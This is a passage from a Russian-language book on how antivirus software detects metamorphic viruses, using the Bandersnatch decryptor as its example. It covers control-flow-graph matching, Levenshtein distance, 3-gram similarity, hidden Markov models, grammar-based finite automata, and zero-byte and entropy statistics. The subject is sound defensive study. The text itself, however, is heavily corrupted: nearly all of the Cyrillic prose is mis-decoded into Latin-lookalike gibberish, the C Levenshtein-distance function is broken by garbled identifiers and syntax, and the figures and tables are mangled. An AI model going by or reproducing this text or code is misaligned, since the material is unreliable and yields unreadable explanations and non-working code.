Ko^a, vaajieHHe H3 jiHCTHura «npaBbix HacTeii» Bcex hhctp jtchhh  h  ocTaB- 
JieHiie to jibk o  «k o ;io b  onepann H ». B stom  cjiynae, HanpHMep, KOManzibi 

« M O V  [1 234 5 6 ], E A X »  h « M O V  E A X , [1 2 3 4 5 6 ]»  OKa*yTCH Hepa3JiHim - 

MbiMH. HanpHMep, oahh H3 3K3eMruiHpoB nojiHMop^noro pacuiHt^poB- 
mHKa BHpyca Bandersnatch (cm. pa3/jeji, nocBameHHWH no/iHMop4>Hbi.M 
BHpycaM juin M S - D O S )  OKaJKetCH npe/icraBJieii b BHfle:

Pm c . 7.41 ❖ fpa4> ynpaB/ieHna, 
cocToninnM m3 MHeMOHMK koaob onepaLiMfi



OSnapyxeHne Bi/ipytOB ❖  571

Bojiee Toro, paa, m c to a h k  n peaycM aT pH B aioT  flaJibHeimiee o T S pacw B a -  

irn e  «pe^KH X» KOMan/i: corjiacHO o a h o h  h s  TaK iix  m c to a h k , b JiHCTHHre 
ocTaroTCH 36 HaH6ojiee «norryjiHpHhix>> k o a o b  onepauHH (TepaeTCH  0,7% 

Koaa ), a  coiviacHO A pyro ii -  TojibKo 14 (TepaiOTCH o k o jio  11% KOAa). Han- 
6o jiee  pa^HKaJibHaH weTOAHKa n pe fljia raeT  rpynnnpoBKy ocTaBinnxcH h h -  

cTpyKUHH b HecKOJibKO KJiaccoB, HanpHMep: «A  -  KOMaHflti nepec.biJiKH 

AaifHbix*- (MOV, PUSH, PO P  h  AP-), «B  -  apiuJxMeTHKO-jioniHecKHe KO

MaHAbi* (ADD , DIV, XOR, ROL h ;ip.), «C  -  BH30BM onepam ioHHofi 

CHCTeMbi»• (M ejKcerM eH THbiH  CALL, INT, SYSCALL h  npoHHe), «D  -  
BHjTpiicerMeHTHbie ycjioBHbie h 6e3ycjiOBHbie nepexoAbi> h «E  -  npo'nie 
KOManjibi». PaciiincJjpoBinHK BHpyca B an dersn a tch  oKaaceTcn npeacTaB- 

Jie-H coBceM npocTo:

Pmc. 7.42 ❖ rpac{)ynpaB/ieHMn, coctoaiumm 
m3 crpynnnpoBaHHbix MHeMOHMK ko^ ob onepauMM

IlaKonen, b pa6oTe II. B. 3 6 hh k o to  «OyHKHH0HaJibHaH CH raaTypa 

KOMnbiOTepHbix B n p yco B » npeflJiaraeTCH ocTaBJiHTb b rpacjje ynpaBJieHHH 
TOJIbKO BbI30BbI OnepanHOHHOH CHCTeMbi H nepeXOflbl [ 8]. B 3T0M CJiy- 

nae H3 rpacjja nponaaaioT Bee noApooHocra, OTHOcnmHeca k  KOHKpeTHOH 
pa3HOBHflHOCTH BHpyca, 3aT0 OCTaeTCH «KOCTHK», 061UHH ajih SoJIbHIOH 
rpvnnbi oAHonmHbix BHpycoB.

B npHHHHne, ecjiH paccTaBHTb cJ)parMeHTbi ajiropHTMa b «npaBHJib- 
hom» nopHAKe, to  mojkho H36aBHTbCH Aaace o t  CTpeJioK h paccMaTpHBaTb 
HTor KaK n0CAeA0BaTeAbH0CTb chmboaob, to  ecTb KaK «CTpoKy». H cpaB- 
HeHHe ajiropHTMOB cBeaeToi k cpaBHeHHio AByx «crpoK ».

7.4.72. 3man «o6pa6omKu u anajima>
Ha 3to m  3Tane rip0H3B0/iHTCH coriocTaBJiemie ajiropHTMa, noJiyneHHo- 

ro  b b h a c  «rpac })a » h a h  «CTpoKH», h  «o6pa3Lia», xapaKTepnoro a jih  k oh - 

KpeTHoro BHpyca. 0 6 h h h o  pesyjibraTOM pa6oTbi h b jih c tc h  HeKOTopoe
MHCAO -  «K03ft)(f}HHHeHT IIOXOKeCTH*.

HTajibHHCKiie aBTopbi npeAJiaraioT c sto h  neJibio npocTo BbnncjiMTb 

E b k jih ao bo  paccTOHHHe Me>KAy «noA03pHTe.TbHbiM rpacf)OM» ii «o6pa3- 
u o m >> [3 5 ]:
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i  m

r^e mi u  m ' -  3HaqeHHH cneyH(})iiHecKHX npH3HaK0B b rpacjje noao3pH- 
TejibHOH nporpaMMbi h «oop a 3n e» cooTBeTCTBeHHo. B KaMecTBe npn3Ha- 
kob ohh npezpiaraioT ncn0Jib30Baxb:

O rrti -  Koiiii^ecTBo BepniHH rpa4>a;
O  m2 -  K0JiHMecTB0 pe6ep rpa(J)a;
O  m 3 -  KOJiHHecTBO nepexoaoB no KOHKpeTHOMy aapecy (HanpiiMep,

«JM P 12345678»);
O  mi -  KOJiiwecTBO «BMHHcjiHeMbiXi> nepexoaoB (HanpHMep, «JMP  

EAX »);
O  m s -  KO/imecTBO BW30B0B KOHKpeTHbix noanporpaMM;
O  m 6 -  KOJiHMecTBO «Bbi,TOC.'iHeMbix» BM30B0B noanporpaMM;
O  m 7 -  KOJiHHecTBO yc;ioBHbix nepexo/ioB.
SKcnepHMeHTbi c flH3acceM6;mpoBaHHbiMH 3K3eMnji«paMn « o 6c})ycmi- 

poBaHHbix» nporpaMM, HanHcaHHbix Ha H3biKax BbicoKoro vpoBRH, noa- 
TBepaHJIH 3t|)(J>eKTHBH0CTb «HTaJIbHHCKOrO» nOAXO£a. 0/lHaKO C IjeilblO 
AeTeKTHpoBaHHa MCTaMop(|)Hbix BHpycoB, HanncaHHbix Ha H3biKe acceM6- 
Jiepa, npeflCTaBJraeTCH noJie3HbiM Ao6aBJieHiie b cithcok npH3HaKOB eme 
oflHoro M.ieHa: m & -  o6paiueHHH k onepauHOHHOH cncTeMe.

Eme oflHHM cnoco6oM cpaBHeima rpacjra ynpaBJieHHH c « o 6pa3qoM» 
HBJIHCTCH BblMHCJie.HHe «paCCTOHHHH JIeBeHIUTeHHa», TO eCTb KOJIHHeCT- 
Ba 3JieMeHTapHbix onepaunii rana «BcraBKa», «yaajieHHe» h «3aMena», 
flocTaTOMHbix flJin npeBpameHHH oflHofi noc.ieAOBaTe.'ibHOCTH BepmiiH 
rpacj)a b Apyryio. 3 t o t  noaxoa npeaycMaTpHBaeT npeACTaBJiemie rpa- 
4)a ynpaBJieHHH b Buge «c.TpoKn», npuneM KOMan/ibi nepexozioB, bm- 
3obob nonnporpaMM h o6pameHHH k onepaijHOHHOH cncTeMe paccMaT- 
pHBaioTCH b KanecTBe pn/iOBbix chmbojiob. HanpHMep, a  jih cpaBHeHHH 
rpa4>OB ynpaBJieHiiH AByx nojiiiMopc^Hbix pacmiK|)p0BmnK0B BHpyca 
Bandersnatch (cm. maBy, nocBHmeHHyio MS-DOS-BHpycaM) npn^eTch 
BbratcjiHTb paccTOHHHe Meayiy cTpoKaMii «EBAAAAAEBABAEBD» h 
«EAAAEAAEABEEBEBAAD ». 3 to  mo^cho caejiaTb, HanpHMep, Taic:

int nuniinuin(int a, int b, int c) { 
int Kin=a; if(b<min) min=b; if(c<nin) ain=c; return sin;

(

int lev_dist(char *s,char-t) { 
int k, i, j, n, m , cost,*d, dist; 
n=strlen(s); nrstrlen(t);
d=(calloc((sizeof(int) )-(ir,+1 )*(n+l)); »*+; n++;
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for(k=0 ;k<n;k++) d[k]=k; 
for(k=0 ;k<m;k++) ti[K»n]=k; 

for(i=l;i<n;1++) 
for(]=1;i<m;j++) i 

if(s[i-1]==t[j-1]) cost=0; else cost=i;
d[j*n+i]=iuinin!uin(d[(j-1)*n+i]+ 1,dr j*n+i-1]+1,d[(j-1)*n+i-1]+cost);

)
dist=d[n*m-1]; free(d); return dist;

}

l ie x p y a n o  npoBepnTb , m to  p a c c ro a iiH e  J leB eH m xeiiH a f ljia  flaH H oro 

c jiynaH  paBHO 8.

3naMHTejibHOM nonyaapH O CTbro cp e ;m  B H p yco jio roB  h  u cc jieaoB a- 

TeJieft nojib3yeTCH M eToflHKa pacnexa  «n o x o a c e cT H » (s im i la r i t y )  a b v x  

«c T p o K » ,  pa3pa6oTaiiHaM coTpy,a,HHKaMH YH H BepciiTeTa C aH -X oce h  pac- 

cMOTpeHHaa, HanpHM ep, b  p a6oTe B. BoHra «A iia jiH 3  h  AeTeKXHpoBaHHe 

MeTaMop<|)Hbix KOMnbJOTepHbix B H p ycoB » [74]. C yT b  ee  3aKJiioHaeTCH b 

tom , h t o 6h  BHfleJiaTb b «n0fl03pH TeJihH 0M » a jirop iiT M e  h  «o 6 p a 3 q e» Bce- 

B03M05KHhie «3 -rp a M M b I» H noaMHTblBaTb KOJIHHeCTBO 41I0X0JKUX*. n p n  

3T0M «II0X05KHMH» CHHT3IOTCH «3 -rp a M M b l», KOTOpbie COflepjKaT OflHH H 

Te 2Ke a.'ieMeHTbi, pacno.xo^ceHHbie b  j i io 6om nopa/iKe. H anpH M ep , «ABE » 
h  «EBA>> cHHxatoxcH «noxo»cn.vni>>, a «ABE>> h  «A B A » -  HeT. K p oM e  Toro, 

4>HKCHpyioTCH HOMepa no3HUHH, b KOTOpbix BcxpenaioxcH  TaKHe «3 -rp a M - 

m h » .  O h h  cuyacaT KoopjiHnaTaM H noM enaeM bix xoneK  aeK ap xoB oro  n p o - 

CTpaHCTBa. JlerKO  BMJlCTb, HTO K pH Tep iieM  <<nOJlHOil TOJKflCCTBeHHOCTH* 

j b y x  cTpoK  HBHHeTca 3anoJiHenHaa «4 n m iK a M ii»  rJiaBHan JiHaronaJib. 

a o  «n o x o a c e cT H » CB iiaeTejibcTByex HaJiHHiie 0Tpe3K0B npaM b ix  jih h h h , 

napaju ieJibHHX rJiaBHOH aH aroH ajiH . M cc jieaoB axe jiH  H3 C aH -X oce cHHTa- 

K)T, HTO CJIHUIKOM KOpOTKHe 0Tpe3KH IipeACXaBJMIOX C060H «CJIVHaHHhIH 

u ivm », h npeaxaratoT HCKJnonaTb H3 paccMOTpeHHH re  H3 hhx, KOTOpbie 

c o c to h t  H3 M eeee hcm 5 « 4 )HllieK»'- BnponeM, B. BoHr n e ro  ko jijk xh  skc- 

nepHM eHTHpoBajiH  Ha « o 6c}jycuH poBaH H bix» 3K3eM njinpax nporpaM M , 

HanHcaHHbix Ha H3UKax B b icoK oro  ypoBHH. /I jih MeTaMop(})Hbix »ce  BHpy

coB, H anncaH H bix Ha H3HKe acceM6jiepa, BepoHTHo, MoacHO cHH3HTb n o p o r  

OT6pacbiBaHHH ao  3 hjih  aaace 2 <<c[>niiieK».

B KaqecTBe hhcjioboto «K034x[)HHHeHTa noxo»cecTH» mojkho paccMaT- 
pHBaTb, HanpHMep, OTHOiiieHHe cvMMapnoH ajiHHbi 0Tpe3K0B k juiiiHe ivraB- 
hoh juiaroiiajiH hjih k o 6m eM y KOjnpiecxBy BceB03M0acHbix «3-rpaMM».

F lp n  JieTeKTHpOBaHHH MeraMOpcJ)HbIX BHpycOB /[OBOJIbllO 3(|)(J)eKTHB- 

na xaiotce rp y n n a  M eTonoB, ocuoB aH H an  na npencxaBJieHHH a.xropiiTM a b  

BH/ie « M a p n o e c K o ii u,enu» .  TaKOH n o a x o #  npe/irio jiaraeT, h t o  p a6oxa aji- 

rop iiTM a paccM aTpH B aexca b BHae n oc jieaoB aT e jibH o ii cm ch w  c o c to h h h h ,
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Ot 02 03 04 05 06 07 08 09 10 11 12 13

10 
09 
08 
07 
06 
05 
04 
03 
02 
01

0102 03 04 05 06 07 08 09 1011 12 1314 15 1617

Pmc. 7 .4 3  ❖  C p a B H e H n e  k o a o b  Ha « 6 iiM 3 0 C Tb»: 

a )  6 n n 3 0 CTb no jiM M op< j>H oro  KOfla c  caM H M  c o 6 o i i ;  

6 ) 6 /in3 0 CTb A B y x  KoriMM pacu jM c^poB iu nK a  B H p yca  Bandersnatch

npHHCM nepexo fl H3 c o c t o h h h h  b  cocToaHHe npoH cxoaiiT  c neKOTopofi 

BepOHTHOCTbK), 33BHCiimeH TOJIbKO OT HOMepa COCTOHHHH.

H anpHM ep, MapKOBCKOH neribio m o >k h o  onHcaTb nepeMemeHHe .racfrra 

B MH0r03Ta»CH0M 3,3311 fill C COCTOHHHHMH BHJia: «.7IHcJ)T CTOHT Ha 3TaJKe 

HOMep T3K0H-T0>>.

Bsjkhum H0;iMH0*ecTB 0M MspKOBCKHX Ltenen «BJi>iK)Tca tcxpbirnbie 

MapxoecKueModeiiu*, pnsi KOTopbix:
O  KOJIHneCTBO COCTOflHHH H BepOHTHOCTH nepeXOflOB MeJKfly IIHMH 113- 

HS'ia.TbHo Heii3BecTHbi, a uponecc cMeHbi coctojihhh He HafijiioflaeM;
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O  npn nepexofle CHCTeMbi b onpeae/ieHHoe cocToaHHe na6jno,aaeTca 
HeKOTopoe co6bmie;

O  C OflHHM COCTOHHIieM M O r y T  6bITb CBH33HbI HCCKOJIbKO Co6bITHH, 
npOHCXO/IflmHX C p 3 3 H b IM H  BepOHTHOCTHMH;

O  O flH O  H TO  a ce  C o 6 b IT H e  M O JKeT n O p oa C A a T b C H  pa3.THHHbIMM COCTOH- 

H H H M H .

B npim epe c MHoroaTaacHUM tjomom naojuoaaTe/ib He 3HaeT, Ha KaKOM 
STaace ocTanoBHJica jmcjyr. ho eMy H3Becrabi co6mthh : « b KaoHHV sauiJiH 
jik>a h »  h «Ka0HHy noKHHyjiH jiioahk  HaKonHB onpeaejieHHyio CTaTHCTH- 
kv  co6bmiH, Ha6^K>/iaTe/ib MoaceT onpeae.THTb: cKOJibKO sTaacefi b flOMe; 
Ha K3KHX STaacax aaiByT aoMoce/iw, a Ha kbkhx -  4nyTemecTBeHHHKH»: 
KaKOBa BepoHraocTb Toro, mto Ka6HHa ocTanoBHJiacb Ha onpefleneHHOM 
aTaace, HT.n.B o6meM, na6jifo/iaTe;iio npnaeTCH peuiaTb 3aaaMH, cbozw- 
mneca k  0flH0My H3 Tpex KJiaccoB:

O onpe/ie.iHTb.. HacKOJibKO Teicymaa n0CJie#0BaTe:ibH0CTb coohthh  
cooTBeTCTByeT CTpyKType n napaMCTpaM CKpbrroH nacTH Moae.ra;

O onpeziejiHTb TpaeKTopnio CKpwrax nepexo,aoB H3 coctohhhh b co- 
CTOHHHe, npHBefliuee k  Ha6jnoaaeMon nocjieaoBaTejibHocTK co6bi- 
th h ;

O  oiipeaejiiiTb cTpyKTypv h napaMeTpbi ckpmtoh  Mac™ Mo/ie-TH ( ko- 
JIHHeCTBO COCTOAHHH H BepOHTHOCTH nepeXO/lOB H3 COCTO»HHC 
B COCTOHHHe).

TeopeTHHecKH 3TH 3aaaHH Moryr 6biTb pemeHbi nojiHtiM nepe6opoM 
pa3.THHHbIX BapiiaHTOB nOCTpOeHHH CKpblTOH MapKOBCKOH MO/ieJIH, HO 
BbiHiic.THTejTbHaH cjiojKHOCTb noao6nbix pemeHHH pacTeT no 3KCnOHeHTe. 
rioaTOMy Ha npaKTHKe HcnoJib3VK)Tca « 6bicTpbie» a;iropHTMbi: «Bnepe/i- 
Ha3a;i» nnsi nepBoft saaa'in, «a;iropnTM Bhtcp6h »  -  rjih BTopoft h «a/iro- 
pHTM EayMa-ysjiMa* zura TpeTbeft. AjiropHT.vibi He cjihuikom c/ioacnbi, ho 
ii3ynaTb ux Jiynuie, ncnojibsya cnenna;ibHbie cnpaBOHHHKw ii yieGmiKH. 
IIpHMeHeHHe ace ckpu tw x MapKOBCKHX Moaejieii ;yra AeTCKTi-ipoBaHHa

Phc. 7.45 ❖  CKpuTan 
MapKOBCKan MOflenb
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MCTaMOpcjfflHX BHpyCOB COCTOHT B CJieflyiOmeM. n  peZIBapHTejILHO BHpy- 
coJior reHepwpyeT oojibiuoe kojihhcctbo (HanpHMep, HecKOJibKO cotbh 
hjih Tbican) 3K3eMnjiapoB BHpyca, /(H3acceM6.rapyeT hx Koa h -sc.KJien- 
BaeT» noc.ieaoBaTeJibHocTH koaob onepauHH b oflHy A-^hhhvk) «crpoK y». 
CHMBOJIbl 3T0H CTpOKH paCCMaTpHBaiOTCa B paMKaX CKpblTOH MapKOB- 
CKoii moacjih KaK Ha6jnoaaeMue co6mthh. I4cnojib3yM ajiropHTM EayMa- 
YsjiHa, Bnpycojior npH6jiH3HTejibno oneiiHBaeT cTpyKrypy h napaMeTpu 
CKpblTOH nacTii Moaejm (KOJiHMecTBa coctohhhh h MaTpmiy nepexoaHbix 
BepoaTHOCTeft). Hmchho 3Ta 4>iiKCiipoBaHHaa Moaejib h cjiyacHT b KanecT- 
Be «cHrHaTypw» npn jjeTeKTiipoBaHHH BiipyeoB. IIojiyHHB H3 noao3pn- 
TeJibHoft nporpaMMbi nocaeaoBaTejibHOCTb KoaoB onepamm, aHTHBHpyc 
npn noMomn ajiropHTMa «Briepe/i-Ha3aa» oneHHBaeT BepoaraocTb Toro, 
h to aaHHaa nocjieAOBareibHOCTb npHHaaJieacHT hmchho 3T0My MeTa- 
M0pcJ)H0My BHpvcy.

HaKOHeu, Hejih3a He otm cth tb  eiue oahh -  caMbift BaacHbifi! -  noaxofl 
k AeTeKTHpoBaiiHio MeTaMopc|)Horo Koaa. O h 0CH0BaH Ha npe/u'TaBJie- 
HHH BCeB03M05KHbIX BapHaHTOB KOfla B BHflC BMCKa3bIBaHHH H eK0T0p0r0 

H3bIKa, CHMBOJiaMH aJI(J)aBHTa KOToporo HBJIHIOTCfl OTaeJIbHUe KOMaHabi 
hjih rpymibi KOMan/i- MeToabi onncaHHa h3ukob b BHae «(J)opMaJibHbix 
rpaMMaTHK» H npOBepKH COOTBeTCTBHa KOHKpeTHOrO BbICKa3bIBaHHa TOH 
HJIH HHOH rpaMMaTHKe flaBHO H xopomo H3VHeHbI. PaCCMOTpHM HX npH- 
MeHeHHe k /leTCKTHpoBaHHio M eTaM opif)H oro Koaa Ha npHMepe Bee T o ro  

ace BHpyca Bandersnatch.
TmaTejibHbift aHajiH3 ajiropHTMa pa6on>i BHpyca n03B0JiaeT cjiejiaTb 

BblBOfl, HTO B OCHOBe paCIUH^pOBIUHKa JieacaT UieCTb «3HaHHMbIX» KOMaHa:
O Tpn KOMaHflw 3arpy3KH perncTpoB (BHaa « MO V  periicip , hhcjio*);
O pacuiH(|)poBKaaaHHbix( hjih «AD D /SU B/XO RnaM aTb,periicTp», 

nan «R O R / R O L  naMaTb»>);

O  aeKpeMeHT cneTHHKa HTepauHH (BHaa «D E C  peracTp»);
O npoBepKa 3HaneHHa cneTHHKa h opraHH3amia UHKJia (Biiaa <JNZ/ 

JG aapec»).

Meacay hhmh M oryr pacnojiaraTbca «MycopHbie» KOMaHabi, KOTopbie 
Taicace Bbi6HpaiOTca nycTb H3 6ojibiuoro, ho Bee ace orpaHHHeHHoro kojih- 

HecTBa BapnaHTOB. TaKHM 06pa30M, pacmH^poBiUHK mojkct 6biTb npea- 
CTaBJieH «TeKCTOM». cooTBeTCTByiomHM, HanpHMep, cjieayiomeii rpaMMa
THKe:

< bandersr;a tch> : : = <Mycop><33rpy3Ka><Mycop><3arpy3if8><Hycop>
<3arpy3ka><Mycopxpac«M0poBi'.a><Mycop><fl«KpeMeHT>
< m y  c o p x iw  K/i > < « y c op>

Oarpy3ha> : : = mov <perncTp>,
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< p a c a jM $ p o B K a > :: = <K0M aHfla1> | < ko m3 h b 82>
<neKpeMeHT>::=  de c  < r l6>
<uhkji>::= <KonO><Mno/io>
< M y c o p > : :=  | < 6 p e fl>  j <M yoop> <6pea>

<6pefl> ::=  c s :  ] d s : I e s :  ! s s :  I nop | c ld  | s t d  | c l i  | s t i  | <KOM3Hfia3>
<KonO>::=  J n z  I jg  
< K o n 1 > : r o l  I r o r
<k o h2 > ::= add  | sub  I x o r
<Kon3>::= in c  | d e c  I push  | pop
< K 0 M 8 H fla 1 > ::=  < k o "1 > < k o c b >
<KO M anfla2>: : = < k o ii2 > < k o c b >, < r1 6 >
< K 0 M a H fla 3 > :: = < K o n 2 x r8 > ,< k o c b >  I < .< on 3> < r16 >  I in c  < r 8 >  I d e c  < r 8 >

< k o c b > : :=  [  < r 1 6 >  ]

< pe rn cT p> ::= <r8> I <r16>
< r 8 > : :=  a l  I b l  i c l  I d l  | ah I bh j ch  | dh 
< r 1 6 > ::=  a x  bx  : c x  dx  ' s i  d i  j bp
< m h c jio > : : =  <um |)pa> | < m m c jio> < u n 0p a>

< u i# p a > :  0  1 2 - 3  4  5  6 '  7 , 8  9

CaMoe nepBoe npaBHJio rpaMNiaTHKH coaepjKHT HerepMHHajibi, coot- 
BeTCTByiomiie «3HaHHMbIM» H «MyC.OpHbIM» KOMaHZtaM paCUIH(J)pOBmHKa. 
Ohh, b cboio oHepeflb, onpe/ie/moTc>i nepe3 apyrne HeTepMimajibi h Tep- 
MHHajibi ( t o  ecTb 4)pameHTbi rpaMMaxHKH, He nofljieacaniHe aajibHeHuieft 
aeK0MH03HUHH -  IIH(j)pbI, KOflbl OIiepaiUiH, HaHMeHOBaHHH peraCTpOB II 
riponee). IIpoBepKa xoro hjih hhoto «BbicKa3biBaHHH» Ha cooTBeTCTBHe 
rpaMManiKe, KaK npaBHJio, cboahtch k nocTpoerono kohchhoto aBTOMaTa, 
HMeiomero jBa 3aBepmaiomHX coctohhhh: «BbicKa3biBaHne hcthhho» h 
«Bbicica3biBaHHe /io>kho». HanpitMep, ooo3HamiB HeTepMimajibi r.iaBHoro 
npaBH/ia BHpycHoii rpaMMaraicH: -  3arpy3Ka, «P » -  pacuiH<|>poBKa,
«/ {»  -  aeKpe.MeHT, «IX» -  uiikji, -  Mycop, -  HHoe, -  moscho no- 
cTpoHTb nna  Hero cJieayioiuHH aBTOMaT:

Bxofl—► S1 S2 S3 S4 S5 S6 S7 S8 
M S1 S2 S3 S4 S5 S6 I I 
3 S2 S3 S4 S8 S8 S8 I ▼
P S8 S8 S8 S5 S8 S8 ▼ HopMa 
fl S8 S8 S8 S8 S6 S8 Bnpyc 
u  S8 S8 S8 S8 S8 S7 
H S 8S 8S 8S 8S 8 S8

—J±!— i l , HopMa

Pmc. 7.46 ❖ KoHeHHbiM aBTOMai rpaMMaTMKH, 
pacno3HaK>mefi BHpyc Bandersnatch
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n 0./IHbIH EBTOMaT, OnHCUBaKJWHH rpaMMETHKy MeT3M0p(J)HbIX pacUIHcjj- 
poBiitHKOB BHpyca Bandersnatch, pa3yMeerca, ropaaao 6ojiee cjioacen, 
ho cTponTca no TOMy ace npuHUHny. Boo6me roBopa, eciiu cymecTByeT 
oimcaHiie rpaMManncH b KaKOH-jm6o 4>opMajibHOH hot3Lihh (HanpHMep, 
B H O  -  4>opMe EaKyca-Haypa), t o  mojkho jijw  HanHcamia 4>parMeHTa 
aHTHBHpyca, peajiH3yiomero kohchhuh aBTOMaT, npHMeHHTb KaKoe-HH- 
6ynb  Cpe^CTBO aBT0MaTH3aUHH np0eKTHp0B3HHH KOMmiJIHTOpOB: Yacc/ 
Bison, Coco h t. n. Bxoaom TaKHX cpeacTB swjweTcsi oniicaHHe rpaMMa- 
thkh, bmxoaom -  TOTOBfaiH hcxoahhh TeKCT nporpaMMbi Ha aceJiaeMOM 
H3biKe nporpaMMHpoBaHHH.

Mcn0Jib30BaHHe «cnHTaKCHiiec.Koro» noAxoAa nosBOjmeT a6coJiK>T- 

HO 0flH03HaHH0 /jeTeKTHpOB3Tb MeTaMOpijfflblH KOA JIK)6oH CJIOJKHOCTH. 

IlpaBfla, HeooxoaHMbiM yc.TOBHeM npHMeHeHHH s to to  noAxoAa HBJiaeTcn 
3H3HHe BH pycojioroM  a.nropiiTMa pa6oTbi BHpyca -  HacT0JibK0 r jiy6oKoe, 

CJIOBHO OH HB.TJieTCH eTO aBTOpOM. K COacaJieHHIO, Ha aOCTHJKCHHe rioAo6- 

hoh  i.iy o n iib i h HanncaHHe «CHHTaKciraecKoro anajiH3aTopa» MoryT yiiTH 
HeaejiH h Mec>in;M.

7.4.8. AHaiiii3 CTamcTMsecKHX 3aKOHOMepHOCTeti
B H36op3x MHceJi, o6pa3yiomHX MamiiHHbiH koa, Bcer/ta npncyrcTByioT 
onpeaejieHHbie 3aKOHOMepHOCTH. BbMBJieHne K0T0pbix MoaceT npiiHec™ 
nojib3y npn AeTeKTHpoBaHHH BHpycoB. lIame Bcero s th  3aK0H0MepH0CTH 
HCnOJIb3yiOTCH a JIH o 6HapyaceHHH 3aiUH(})pOBaHHbIX H nOJIHMOp4)HbTX 
nporpaMM h, cooTBeTCTBeHHO, jinsi npHHHTHH aHTHBHpycoM pemeHHH -  
npHMeHHTb eMy « 6bicTpbie» CHraaTypHbie MeTOflbi AeTeKTnpoBannH hjih 
<MeA-xeHHbie» -  AHHaMHMecKHe.

B paaAejre, nocBflinefm oM  paccMOTpeHHio 3arpy30MHbix BHpycoB, iipn- 

BeaeHbi ABa BapnaHTa o a h o to  h Toro ace koas -  3amn4>poBaHHbiH h noA- 

BeprHjTbiH ACKOAHpoBaHHio. Jlenco BHAeTb, h to  nonbiTKa AH3acceM6- 

JtnpoBaTb 3amH(|)poBaHHbiH k oa  4>°pMHpyeT jih cth h t, coAepacamHH 

<sHejienbie» n 0CJieA0BaTe;ibH0CTH «CTpaHHbix» KOMaHA- H o  KaK onncaTb 

«neJ ienocTb» h «CTpaHHOCTb» Ha jrahnce MaTeMaTiiKH?

O a h h  H3 n p ocT e flm H X  n0AX0A0B -  n oA cneT  n pou eH -raoro  coAepacaHHH 

b  KOAe on peA e-ieH H b ix  h h c j io b h x  3iia4eHHH. H anpH M ep , b  «H opM a;ibH O M » 

nporpaM M HOM  k o a g  BCTpenaeTCH AocraTOHHO m h o t o  -  HecKOJibKO n p o - 

HeHTOB -  Hy/ieBbix 6a irroB . B KOAe ace, H OABeprnyTOM  iUH<f>poBaHHK> H jra 

cacaTino, h x  cym ecTBeH H O  M eHbme. M oacH o c<}x>pMHpoBaTb ABa «T e c r o -  

Bbix K o p n y c a » :  o a h h  -  H3 B cex  n porpaM M  h  o h o j ih o t c k , c oa ep acam n xca  

b  K aT a jio rax  p a s jin m ib ix  B ep cm i W in d o w s ,  a A p y r o i i  -  H3 BceB03M0acHbix 

iio;iHM op(|)Hbix. 3ainn<|)poBaHHbix h  ynaKOBaHHbix B iipycoB  h  'lepB eft.
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Tor^a pacnpe/ieJienHH HacTOT B C TpeyaeM ocn i iry/ieBbix 6aHTOB b k o a o -  

b w x  ceniiHHX nporpaM M  pa3Hbix KJiaccoB 6 y a y T  Bbirjia/ieTb npHMepHO KaK 

Ha p h c . 7.47.

0,60

Lj 0j50

C
T 0,30
o
T 0,20

a o,io 

0

Phc. 7.47 ❖ PacnpeAe/ieHnq flo /in  Hy/ieBbix 6aPiTOB 
b ynaKOBaHHOM n «06bHH0M» KOfle

Jlereo cocTaBHTb npaBii.no, n03B0JWK>mee c onpe^ejienHOH /[ocTOBep- 
HOCTbro oTJimaTb «HopMajibHbie» nporpaMMbi o t  3aiiin4>poBaHHbix h yna- 
KOBaHHbix: b hx KOflOBbix ceKUHHx (6e3 yneTa cckuhh, BHyTpii KOTopbix 
He naxo/iHTca TOHKa Bxoaa, h «xboctob », sanojniMe.Mux HyjiHMH ana bm- 
paBHHBaHHH)  flOJDKHO npncyTCTBOBaTb 6ojiee 1% HyjieBbix 6aHTOB.

/ Ip y r o H  noflxoA c o c t o h t  b /iH3acceM6jinpoBaHHH k o a o b o h  ceKUHH h 

p a c 'ieT e  npoueHTHoro coaepjKaHHH pa3JiiwHbix KOMana. H anpH M ep, H3- 

BeCTHO, HTO B «HOpMaJIbHOM» npOipaMMHOM KOfle KOJIHMeCTBO pa3.1HH- 
Hhix BapnanTOB KOMan/ibi « M O V »  a o jd k h o  cocTaBJiHTb He MeHee 10+20%.

Eme oflHH noflxo fl 3aianoHaeTCfl b pacneTe aH Tpom ra nporpaM M H oro

Ko/ia no  4>opMy;ie E =  - ^ /; ( / ')  log , p(i), rue p ( i )  -  nacTOTa BCTpenaeMo-
f*0

c th  6airra co 3HaneHHeM i. Pa3VMeeTca, b paccMOTpeHHe He aojijkhm no- 
naaaTb «xboctm>> nporpaMMHbix cckuhh, coaep*am ne SHaqeHHH 0, C C h  

h jih  90h. Jlereo BHfleTb, h to  Ha6op y  OAHHaKOBbix 6aiiTOB av/ieT cooTBeT- 

CTBOBaTb 3iianenne E =  0 oh tob , a Ha6opy, b kotopom  Bee 6aifTbi paBHo- 

BepOHTHbi, E =  8 6htob . PeajibHaa aHTpomm Ko;ia nporpaMM pejKO  ao- 

CTHraeT KpaiiHHx 3HaHeiiHH, h o  pacripeae;ieHHH 3HaMeHHH aHTporaiii ana 
<-HopMajibHbix» h OKaThix nporpaM M  Bee >Ke pasjiH'iaroTCH.

IIo p o ro B o e  3HaiieHHe, no3Bo./i>nomee pa3 ,n riaTb  «H op.\ ia;ibH b ie» ii 

«c>K aTb i('» (yuaKOBmHKa.MH ra n a  U P X ,  A sp ack , A r m a d illo  h  t .  n . )  n po - 

rpaMMbi, naxo/iHTCH b p a iioH e  E0 ~  7,2 6nxa.

(3aiumjipoBaHHbie n ynaKQBaHHbiê )

Q6bMHbie nporpaMMbij

%
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P m c . 7.48 ❖ PacnpeAeneHMq aHTporiHn 
ynaKoeaH H oro m «o 6 w H H o ro » KOfla

TaioKe mojkho aH3acceM6jinpoBaTb nporpaMMHyio ceKUHfo h onemiTb 
ee «H 0pMajibH0CTb» MeroaoM «n-rpaMM». /teficTBHTejibHo, Koii, coctoh- 
mnii H3 MacTo BCTpenaiomHXCH ii oc/i e/tOBaTea bH ocreft onepamiii (HanpH
Mep, « C A L L »  nocjie « P U S H » ) ,  HMeeT 6ojibine 0CH0BaHHH oHirraTbCH
«  HO p M a Jib H bl M» ,  MCM KOA, COCTOHIHHH H3 peflKHX H HeBQ3MO»CHbIX nOCJie-
aoBaTeJibiiocTeH (HanpHMep, « I N T »  p«aoM  c « IN » ) .  TaKxe oneiib xapaK- 
TepHo a jih nojiHMop4>Hbix BHpycoB 6ojibinoe KOJiiiHecTBo « 6eccMbicjren- 
h w x » KOMaHa rana «M O V  E A X , E AX  ». BnponeM, -*6bicTpbiM» noaxoa, 
